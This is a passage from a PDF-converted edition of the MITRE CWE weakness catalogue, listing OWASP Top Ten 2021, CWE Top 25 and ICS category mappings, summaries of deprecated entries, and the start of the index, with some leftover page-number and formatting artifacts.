- G CWE-138: Improper Neutralization of Special Elements (p.357)
- B CWE-184: Incomplete List of Disallowed Inputs (p.441)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1057)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p.1060)
- V CWE-564: SQL Injection: Hibernate (p.1207)
- G CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p.1285)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1336)
- V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p.1338)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1351)


























- B CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p.1692)
- C CWE-1348: OWASP Top Ten 2021 Category A04:2021 - Insecure Design (p.2284)
  - B CWE-73: External Control of File Name or Path (p.128)
  - B CWE-183: Permissive List of Allowed Inputs (p.439)
  - B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - B CWE-213: Exposure of Sensitive Information Due to Incompatible Policies (p.523)
  - V CWE-235: Improper Handling of Extra Parameters (p.550)
  - B CWE-256: Plaintext Storage of a Password (p.583)
  - B CWE-257: Storing Passwords in a Recoverable Format (p.586)
  - B CWE-266: Incorrect Privilege Assignment (p.605)
  - C CWE-269: Improper Privilege Management (p.613)
  - B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p.638)
  - C CWE-311: Missing Encryption of Sensitive Data (p.718)
  - B CWE-312: Cleartext Storage of Sensitive Information (p.725)
  - V CWE-313: Cleartext Storage in a File or on Disk (p.731)
  - V CWE-316: Cleartext Storage of Sensitive Information in Memory (p.736)
  - B CWE-419: Unprotected Primary Channel (p.962)
  - B CWE-430: Deployment of Wrong Handler (p.985)
  - B CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
  - B CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (p.1009)
  - C CWE-451: User Interface (UI) Misrepresentation of Critical Information (p.1020)
  - B CWE-472: External Control of Assumed-Immutable Web Parameter (p.1062)
  - B CWE-501: Trust Boundary Violation (p.1135)
  - C CWE-522: Insufficiently Protected Credentials (p.1157)
  - V CWE-525: Use of Web Browser Cache Containing Sensitive Information (p.1164)
  - V CWE-539: Use of Persistent Cookies Containing Sensitive Information (p.1179)
  - V CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p.1233)
  - V CWE-598: Use of GET Request Method With Sensitive Query Strings (p.1262)
  - C CWE-602: Client-Side Enforcement of Server-Side Security (p.1271)
  - C CWE-642: External Control of Critical State Data (p.1330)
  - V CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p.1341)
  - V CWE-650: Trusting HTTP Permission Methods on the Server Side (p.1348)
  - B CWE-653: Improper Isolation or Compartmentalization (p.1353)
  - B CWE-656: Reliance on Security Through Obscurity (p.1359)
  - C CWE-657: Violation of Secure Design Principles (p.1361)
  - C CWE-799: Improper Control of Interaction Frequency (p.1582)
  - B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1595)
  - C CWE-840: Business Logic Errors (p.2153)
  - B CWE-841: Improper Enforcement of Behavioral Workflow (p.1649)
  - V CWE-927: Use of Implicit Intent for Sensitive Communication (p.1706)
  - B CWE-1021: Improper Restriction of Rendered UI Layers or Frames (p.1727)
  - B CWE-1173: Improper Use of Validation Framework (p.1824)
- C CWE-1349: OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration (p.2286)
  - C CWE-2: 7PK - Environment (p.2099)
  - V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p.9)
  - V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p.12)
  - B CWE-15: External Control of System or Configuration Setting (p.17)
  - C CWE-16: Configuration (p.2100)
  - B CWE-260: Password in Configuration File (p.596)
  - V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p.734)
  - V CWE-520: .NET Misconfiguration: Use of Impersonation (p.1154)
  - V CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable (p.1165)



- V CWE-537: Java Runtime Error Message Containing Sensitive Information (p.1176)
- V CWE-541: Inclusion of Sensitive Information in an Include File (p.1181)
- V CWE-547: Use of Hard-coded, Security-relevant Constants (p.1187)
- B CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
- V CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p.1292)
- B CWE-756: Missing Custom Error Page (p.1469)
- B CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p.1521)
- V CWE-942: Permissive Cross-domain Policy with Untrusted Domains (p.1717)
- V CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (p.1721)
- C CWE-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration (p.2231)
- V CWE-1174: ASP.NET Misconfiguration: Improper Model Validation (p.1825)
- C CWE-1352: OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components (p.2287)
- C CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities (p.2186)
- C CWE-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities (p.2232)
- B CWE-1104: Use of Unmaintained Third Party Components (p.1803)
- C CWE-1353: OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures (p.2287)
- C CWE-255: Credentials Management Errors (p.2107)
- V CWE-259: Use of Hard-coded Password (p.591)
- C CWE-287: Improper Authentication (p.657)
- B CWE-288: Authentication Bypass Using an Alternate Path or Channel (p.664)
- B CWE-290: Authentication Bypass by Spoofing (p.668)
- B CWE-294: Authentication Bypass by Capture-replay (p.675)
- B CWE-295: Improper Certificate Validation (p.677)
- V CWE-297: Improper Validation of Certificate with Host Mismatch (p.684)
- C CWE-300: Channel Accessible by Non-Endpoint (p.692)
- B CWE-302: Authentication Bypass by Assumed-Immutable Data (p.697)
- B CWE-304: Missing Critical Step in Authentication (p.700)
- B CWE-306: Missing Authentication for Critical Function (p.703)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p.709)
- C CWE-346: Origin Validation Error (p.808)
- B CWE-384: Session Fixation (p.887)
- B CWE-521: Weak Password Requirements (p.1154)
- B CWE-613: Insufficient Session Expiration (p.1291)
- B CWE-620: Unverified Password Change (p.1301)
- B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1326)
- B CWE-798: Use of Hard-coded Credentials (p.1573)
- B CWE-940: Improper Verification of Source of a Communication Channel (p.1712)
- C CWE-1216: Lockout Mechanism Errors (p.2271)
- C CWE-1354: OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures (p.2288)
- C CWE-345: Insufficient Verification of Data Authenticity (p.805)
- B CWE-353: Missing Support for Integrity Check (p.828)
- B CWE-426: Untrusted Search Path (p.972)
- B CWE-494: Download of Code Without Integrity Check (p.1119)
- B CWE-502: Deserialization of Untrusted Data (p.1137)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1209)
- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p.1539)
- B CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1621)
- V CWE-830: Inclusion of Web Functionality from an Untrusted Source (p.1627)
- B CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (p.1684)
- C CWE-1355: OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures (p.2289)
- B CWE-117: Improper Output Neutralization for Logs (p.279)

- B CWE-223: Omission of Security-relevant Information (p.533)
- B CWE-532: Insertion of Sensitive Information into Log File (p.1171)
- B CWE-778: Insufficient Logging (p.1525)
- C CWE-1356: OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF) (p.2290)
- B CWE-918: Server-Side Request Forgery (SSRF) (p.1694)

## Graph View: CWE-1350: Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses


























-  CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
-  CWE-787: Out-of-bounds Write (p.1547)
-  CWE-20: Improper Input Validation (p.19)
-  CWE-125: Out-of-bounds Read (p.316)
-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
-  CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
-  CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.484)
-  CWE-416: Use After Free (p.958)
-  CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
-  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
-  CWE-190: Integer Overflow or Wraparound (p.453)
-  CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
-  CWE-476: NULL Pointer Dereference (p.1070)
-  CWE-287: Improper Authentication (p.657)
-  CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
-  CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
-  CWE-94: Improper Control of Generation of Code ('Code Injection') (p.213)
-  CWE-522: Insufficiently Protected Credentials (p.1157)
-  CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
-  CWE-798: Use of Hard-coded Credentials (p.1573)
-  CWE-502: Deserialization of Untrusted Data (p.1137)
-  CWE-269: Improper Privilege Management (p.613)
-  CWE-400: Uncontrolled Resource Consumption (p.912)
-  CWE-306: Missing Authentication for Critical Function (p.703)
-  CWE-862: Missing Authorization (p.1657)

## Graph View: CWE-1358: Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS

- C CWE-1359: ICS Communications (p.2290)
  - C CWE-1364: ICS Communications: Zone Boundary Failures (p.2294)
    - C CWE-669: Incorrect Resource Transfer Between Spheres (p.1383)
    - C CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
    - C CWE-668: Exposure of Resource to Wrong Sphere (p.1380)
  - C CWE-1365: ICS Communications: Unreliability (p.2294)
    - C CWE-1384: Improper Handling of Physical or Environmental Conditions (p.2078)
  - C CWE-1366: ICS Communications: Frail Security in Protocols (p.2295)
    - C CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
    - B CWE-358: Improperly Implemented Security Check for Standard (p.834)
- C CWE-1360: ICS Dependencies (& Architecture) (p.2291)
  - C CWE-1367: ICS Dependencies (& Architecture): External Physical Systems (p.2296)
    - B CWE-1247: Improper Protection Against Voltage and Clock Glitches (p.1886)
    - B CWE-1338: Improper Protections Against Hardware Overheating (p.2062)
    - C CWE-1357: Reliance on Insufficiently Trustworthy Component (p.2076)
    - C CWE-1384: Improper Handling of Physical or Environmental Conditions (p.2078)
  - C CWE-1368: ICS Dependencies (& Architecture): External Digital Systems (p.2297)
    - B CWE-15: External Control of System or Configuration Setting (p.17)
    - B CWE-440: Expected Behavior Violation (p.1004)
    - B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1057)
    - C CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p.1285)
    - C CWE-638: Not Using Complete Mediation (p.1322)
    - C CWE-1059: Insufficient Technical Documentation (p.1759)
    - B CWE-1068: Inconsistency Between Implementation and Documented Design (p.1769)
    - B CWE-1104: Use of Unmaintained Third Party Components (p.1803)
    - B CWE-1329: Reliance on Component That is Not Updateable (p.2043)
    - C CWE-1357: Reliance on Insufficiently Trustworthy Component (p.2076)
- C CWE-1361: ICS Supply Chain (p.2291)
  - C CWE-1369: ICS Supply Chain: IT/OT Convergence/Expansion (p.2298)
    - C CWE-636: Not Failing Securely ('Failing Open') (p.1318)
    - P CWE-284: Improper Access Control (p.644)
  - C CWE-1370: ICS Supply Chain: Common Mode Frailties (p.2298)
    - V CWE-329: Generation of Predictable IV with CBC Mode (p.769)
    - P CWE-693: Protection Mechanism Failure (p.1422)
    - C CWE-1357: Reliance on Insufficiently Trustworthy Component (p.2076)
  - C CWE-1371: ICS Supply Chain: Poorly Documented or Undocumented Features (p.2299)
    - C CWE-912: Hidden Functionality (p.1680)
    - B CWE-489: Active Debug Code (p.1106)
    - C CWE-1059: Insufficient Technical Documentation (p.1759)
    - B CWE-1242: Inclusion of Undocumented Features or Chicken Bits (p.1876)
  - C CWE-1372: ICS Supply Chain: OT Counterfeit and Malicious Corruption (p.2300)
    - B CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques (p.1955)
    - C CWE-1198: Privilege Separation and Access Control Issues (p.2263)
    - B CWE-1231: Improper Prevention of Lock Bit Modification (p.1855)
    - B CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection (p.1859)
- C CWE-1362: ICS Engineering (Constructions/Deployment) (p.2292)
  - C CWE-1373: ICS Engineering (Construction/Deployment): Trust Model Problems (p.2301)
    - C CWE-269: Improper Privilege Management (p.613)
    - B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1595)
    - B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.815)
  - C CWE-1374: ICS Engineering (Construction/Deployment): Maker Breaker Blindness (p.2301)

- C CWE-1375: ICS Engineering (Construction/Deployment): Gaps in Details/Data (p.2302)
  - G CWE-1059: Insufficient Technical Documentation (p.1759)
  - B CWE-1110: Incomplete Design Documentation (p.1808)
- C CWE-1376: ICS Engineering (Construction/Deployment): Security Gaps in Commissioning (p.2303)
  - B CWE-276: Incorrect Default Permissions (p.630)
  - G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
  - B CWE-1393: Use of Default Password (p.2093)
- C CWE-1377: ICS Engineering (Construction/Deployment): Inherent Predictability in Design (p.2304)
  - B CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques (p.1955)
- C CWE-1363: ICS Operations (& Maintenance) (p.2293)
  - C CWE-1378: ICS Operations (& Maintenance): Gaps in obligations and training (p.2304)
  - C CWE-1379: ICS Operations (& Maintenance): Human factors in ICS environments (p.2305)
    - B CWE-655: Insufficient Psychological Acceptability (p.1357)
    - G CWE-451: User Interface (UI) Misrepresentation of Critical Information (p.1020)
  - C CWE-1380: ICS Operations (& Maintenance): Post-analysis changes (p.2306)
  - C CWE-1381: ICS Operations (& Maintenance): Exploitable Standard Operational Procedures (p.2307)
  - C CWE-1382: ICS Operations (& Maintenance): Emerging Energy Technologies (p.2308)
    - G CWE-20: Improper Input Validation (p.19)
    - G CWE-285: Improper Authorization (p.649)
    - B CWE-295: Improper Certificate Validation (p.677)
    - B CWE-296: Improper Following of a Certificate's Chain of Trust (p.682)
    - G CWE-346: Origin Validation Error (p.808)
    - G CWE-406: Insufficient Control of Network Message Volume (Network Amplification) (p.937)
    - B CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)
- C CWE-1383: ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements (p.2308)
  - P CWE-710: Improper Adherence to Coding Standards (p.1444)

## Graph View: CWE-1387: Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses

-  CWE-787: Out-of-bounds Write (p.1547)
-  CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
-  CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
-  CWE-20: Improper Input Validation (p.19)
-  CWE-125: Out-of-bounds Read (p.316)
-  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
-  CWE-416: Use After Free (p.958)
-  CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
-  CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
-  CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
-  CWE-476: NULL Pointer Dereference (p.1070)
-  CWE-502: Deserialization of Untrusted Data (p.1137)
-  CWE-190: Integer Overflow or Wraparound (p.453)
-  CWE-287: Improper Authentication (p.657)
-  CWE-798: Use of Hard-coded Credentials (p.1573)
-  CWE-862: Missing Authorization (p.1657)
-  CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
-  CWE-306: Missing Authentication for Critical Function (p.703)
-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
-  CWE-276: Incorrect Default Permissions (p.630)
-  CWE-918: Server-Side Request Forgery (SSRF) (p.1694)
-  CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
-  CWE-400: Uncontrolled Resource Consumption (p.912)
-  CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
-  CWE-94: Improper Control of Generation of Code ('Code Injection') (p.213)

## Deprecated

---

### CWE-1: DEPRECATED: Location

CWE ID : 1

#### Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

### CWE-3: DEPRECATED: Technology-specific Environment Issues

CWE ID : 3

#### Summary

This category has been deprecated. It was originally intended as a "catch-all" for environment issues for technologies that did not have their own CWE, but it introduced unnecessary depth and complexity to the Development View (CWE-699).

---

### CWE-4: DEPRECATED: J2EE Environment Issues

CWE ID : 4

#### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

### CWE-10: DEPRECATED: ASP.NET Environment Issues

CWE ID : 10

#### Summary

This category has been deprecated. It added unnecessary depth and complexity to its associated views.

---

### CWE-17: DEPRECATED: Code

CWE ID : 17

#### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---



---

## **CWE-18: DEPRECATED: Source Code**

CWE ID : 18

### **Summary**

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

---

## **CWE-21: DEPRECATED: Pathname Traversal and Equivalence Errors**

CWE ID : 21

### **Summary**

This category has been deprecated. It was originally used for organizing weaknesses involving file names, which enabled access to files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence). Consider using either the File Handling Issues category (CWE-1219) or the class Use of Incorrectly-Resolved Name or Reference (CWE-706).

---

---

## **CWE-60: DEPRECATED: UNIX Path Link Problems**

CWE ID : 60

### **Summary**

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

---

---

## **CWE-63: DEPRECATED: Windows Path Link Problems**

CWE ID : 63

### **Summary**

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

---

---

## **CWE-68: DEPRECATED: Windows Virtual File Problems**

CWE ID : 68

### **Summary**

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

---

---

## **CWE-70: DEPRECATED: Mac Virtual File Problems**

**CWE ID : 70**

---

**Summary**

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

---

**CWE-71: DEPRECATED: Apple '.DS\_Store'****CWE ID : 71**

---

**Description**

This entry has been deprecated as it represents a specific observed example of a UNIX Hard Link weakness type rather than its own individual weakness type. Please refer to CWE-62.

---

**CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters****CWE ID : 92**

---

**Description**

This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.

---

**CWE-100: DEPRECATED: Technology-Specific Input Validation Problems****CWE ID : 100**

---

**Summary**

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

---

**CWE-101: DEPRECATED: Struts Validation Problems****CWE ID : 101**

---

**Summary**

This category has been deprecated. It was originally used for organizing the Development View (CWE-69 9), but it introduced unnecessary complexity and depth to the resulting tree.

---

**CWE-132: DEPRECATED: Miscalculated Null Termination****CWE ID : 132**

---

## Description

This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

## CWE-139: DEPRECATED: General Special Element Problems

CWE ID : 139

### Summary

This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 is a more appropriate mapping.

## CWE-169: DEPRECATED: Technology-Specific Special Elements

CWE ID : 169

### Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

## CWE-171: DEPRECATED: Cleansing, Canonicalization, and Comparison Errors

CWE ID : 171

### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree. Weaknesses in this category were related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data. These weaknesses can be found in other similar categories.

## CWE-216: DEPRECATED: Containment Errors (Container Errors)

CWE ID : 216

### Description

This entry has been deprecated, as it was not effective as a weakness and was structured more like a category. In addition, the name is inappropriate, since the "container" term is widely understood by developers in different ways than originally intended by PLOVER, the original source for this entry.

## CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification

CWE ID : 217

### Description

This entry has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this entry can be found at CWE-766 and CWE-767.

---

## **CWE-218: DEPRECATED: Failure to provide confidentiality for stored data**

CWE ID : 218

---

### Description

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

---

## **CWE-225: DEPRECATED: General Information Management Problems**

CWE ID : 225

---

### Description

This weakness can be found at CWE-199.

---

## **CWE-247: DEPRECATED: Reliance on DNS Lookups in a Security Decision**

CWE ID : 247

---

### Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

---

## **CWE-249: DEPRECATED: Often Misused: Path Manipulation**

CWE ID : 249

---

### Description

This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785.

---

## **CWE-292: DEPRECATED: Trusting Self-reported DNS Name**

CWE ID : 292

---

### Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

---

## **CWE-365: DEPRECATED: Race Condition in Switch**

2472

---

**CWE ID : 365**

---

**Description**

This entry has been deprecated. There are no documented cases in which a switch's control expression is evaluated more than once.

---

**CWE-373: DEPRECATED: State Synchronization Error**

**CWE ID : 373**

---

**Description**

This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).

---

**CWE-376: DEPRECATED: Temporary File Issues**

**CWE ID : 376**

---

**Summary**

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. Consider using the File Handling Issues category (CWE-1219).

---

**CWE-380: DEPRECATED: Technology-Specific Time and State Issues**

**CWE ID : 380**

---

**Summary**

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

**CWE-381: DEPRECATED: J2EE Time and State Issues**

**CWE ID : 381**

---

**Summary**

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

**CWE-418: DEPRECATED: Channel Errors**

**CWE ID : 418**

---

**Summary**

---

CWE-373: DEPRECATED: State Synchronization Error

This category has been deprecated because it is redundant with the grouping provided by CWE-417.

---

### **CWE-423: DEPRECATED: Proxied Trusted Channel**

CWE ID : 423

#### **Description**

This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.

---

### **CWE-442: DEPRECATED: Web Problems**

CWE ID : 442

#### **Summary**

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

### **CWE-443: DEPRECATED: HTTP response splitting**

CWE ID : 443

#### **Description**

This weakness can be found at CWE-113.

---

### **CWE-445: DEPRECATED: User Interface Errors**

CWE ID : 445

#### **Summary**

This weakness has been deprecated because it was a duplicate of CWE-355. All content has been transferred to CWE-355.

---

### **CWE-458: DEPRECATED: Incorrect Initialization**

CWE ID : 458

#### **Description**

This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.

---

### **CWE-461: DEPRECATED: Data Structure Issues**

---

**CWE ID : 461**

### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

## **CWE-490: DEPRECATED: Mobile Code Issues**

**CWE ID : 490**

### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

## **CWE-503: DEPRECATED: Byte/Object Code**

**CWE ID : 503**

### Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

## **CWE-504: DEPRECATED: Motivation/Intent**

**CWE ID : 504**

### Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

## **CWE-505: DEPRECATED: Intentionally Introduced Weakness**

**CWE ID : 505**

### Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

## **CWE-513: DEPRECATED: Intentionally Introduced Nonmalicious Weakness**

**CWE ID : 513**

### Summary

---



This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

### **CWE-516: DEPRECATED: Covert Timing Channel**

CWE ID : 516

---

#### **Description**

This weakness can be found at CWE-385.

---

### **CWE-517: DEPRECATED: Other Intentional, Nonmalicious Weakness**

CWE ID : 517

---

#### **Summary**

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

### **CWE-518: DEPRECATED: Inadvertently Introduced Weakness**

CWE ID : 518

---

#### **Summary**

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

---

### **CWE-519: DEPRECATED: .NET Environment Issues**

CWE ID : 519

---

#### **Summary**

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

### **CWE-533: DEPRECATED: Information Exposure Through Server Log Files**

CWE ID : 533

---

#### **Description**

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

---

### **CWE-534: DEPRECATED: Information Exposure Through Debug Log Files**

CWE ID : 534

---

---

### Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

---

## **CWE-542: DEPRECATED: Information Exposure Through Cleanup Log Files**

CWE ID : 542

### Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

---

## **CWE-545: DEPRECATED: Use of Dynamic Class Loading**

CWE ID : 545

### Description

This weakness has been deprecated because it partially overlaps CWE-470, it describes legitimate programmer behavior, and other portions will need to be integrated into other entries.

---

## **CWE-559: DEPRECATED: Often Misused: Arguments and Parameters**

CWE ID : 559

### Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

---

## **CWE-592: DEPRECATED: Authentication Bypass Issues**

CWE ID : 592

### Description

This weakness has been deprecated because it covered redundant concepts already described in CWE-287.

---

## **CWE-596: DEPRECATED: Incorrect Semantic Object Comparison**

CWE ID : 596

### Description

This weakness has been deprecated. It was poorly described and difficult to distinguish from other entries. It was also inappropriate to assign a separate ID solely because of domain-specific considerations. Its closest equivalent is CWE-1023.

---

## **CWE-630: DEPRECATED: Weaknesses Examined by SAMATE**

CWE ID : 630

### **Objective**

This view has been deprecated. It was only used for an early year of the NIST SAMATE project, and it did not represent any official or commonly-utilized list.

---

## **CWE-631: DEPRECATED: Resource-specific Weaknesses**

CWE ID : 631

### **Objective**

This view has been deprecated because it is not actively maintained and does not provide utility to stakeholders. It was originally created before CWE 1.0 as a simple example of how views could be structured within CWE.

---

## **CWE-632: DEPRECATED: Weaknesses that Affect Files or Directories**

CWE ID : 632

### **Summary**

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

---

## **CWE-633: DEPRECATED: Weaknesses that Affect Memory**

CWE ID : 633

### **Summary**

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

---

## **CWE-634: DEPRECATED: Weaknesses that Affect System Processes**

CWE ID : 634

### **Summary**

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

---

## **CWE-679: DEPRECATED: Chain Elements**

CWE ID : 679

2478

---

## Objective

This view has been deprecated. It has limited utility for stakeholders, since all weaknesses can be links in a chain.

---

## **CWE-769: DEPRECATED: Uncontrolled File Descriptor Consumption**

CWE ID : 769

## Description

This entry has been deprecated because it was a duplicate of CWE-774. All content has been transferred to CWE-774.

---

## **CWE-999: DEPRECATED: Weaknesses without Software Fault Patterns**

CWE ID : 999

## Objective

This view has been deprecated. It was based on gaps in another view (CWE-888) related to research that is no longer updated, but was complete with respect to CWE at the time it was conducted.

---

## **CWE-1187: DEPRECATED: Use of Uninitialized Resource**

CWE ID : 1187

## Description

This entry has been deprecated because it was a duplicate of CWE-908. All content has been transferred to CWE-908.

---

## **CWE-1324: DEPRECATED: Sensitive Information Accessible by Physical Probing of JTAG Interface**

CWE ID : 1324

## Description

This entry has been deprecated because it was at a lower level of abstraction than supported by CWE. All relevant content has been integrated into CWE-319.

---

## **Glossary**

---

# Index

## A

Absolute Path Traversal, 72  
 Acceptance of Extraneous Untrusted Data With Trusted Data, 815  
 Access Control Check Implemented After Asset is Accessed, 1958  
 Access of Memory Location After End of Buffer, 1555  
 Access of Memory Location Before Start of Buffer, 1544  
